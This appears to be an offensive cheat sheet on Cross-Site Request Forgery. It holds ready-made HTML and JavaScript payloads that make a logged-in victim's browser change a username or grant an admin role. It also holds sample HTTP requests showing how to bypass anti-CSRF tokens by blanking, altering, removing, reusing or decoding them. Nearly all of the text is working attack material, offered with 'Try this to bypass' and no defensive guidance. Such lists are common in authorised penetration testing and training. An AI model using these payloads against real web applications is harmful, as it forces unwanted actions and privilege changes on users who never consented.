Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
- HTML GET Method
<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
- HTML POST Method
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="uname" />
<input type="submit" value="Submit Request" />
</form>
- JSON GET Method
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
- JSON POST Method
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
- Change single character
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Try this to bypass
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
- Sending empty value of token
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Try this to bypass
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=
- Replace the token with same length
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=aaaaaa
Try this to bypass
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=aaabaa
- Changing POST / GET method
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Try this to bypass
GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
Host: target.com
[...]
- Remove the token from request
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Try this to bypass
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456
- Use another user's valid token
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
- Try to decrypt hash
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=MTIzNDU2
MTIzNDU2 => 123456 with base64
- Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=vi802jg9f8akd9j123
When we register again, the request like this
POST /register HTTP/1.1
Host: target.com
[...]
username=dapos&password=123456&token=vi802jg9f8akd9j124
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part